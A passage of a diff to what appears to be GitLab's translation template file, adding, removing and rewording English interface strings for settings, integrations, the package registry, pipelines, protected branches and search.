+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
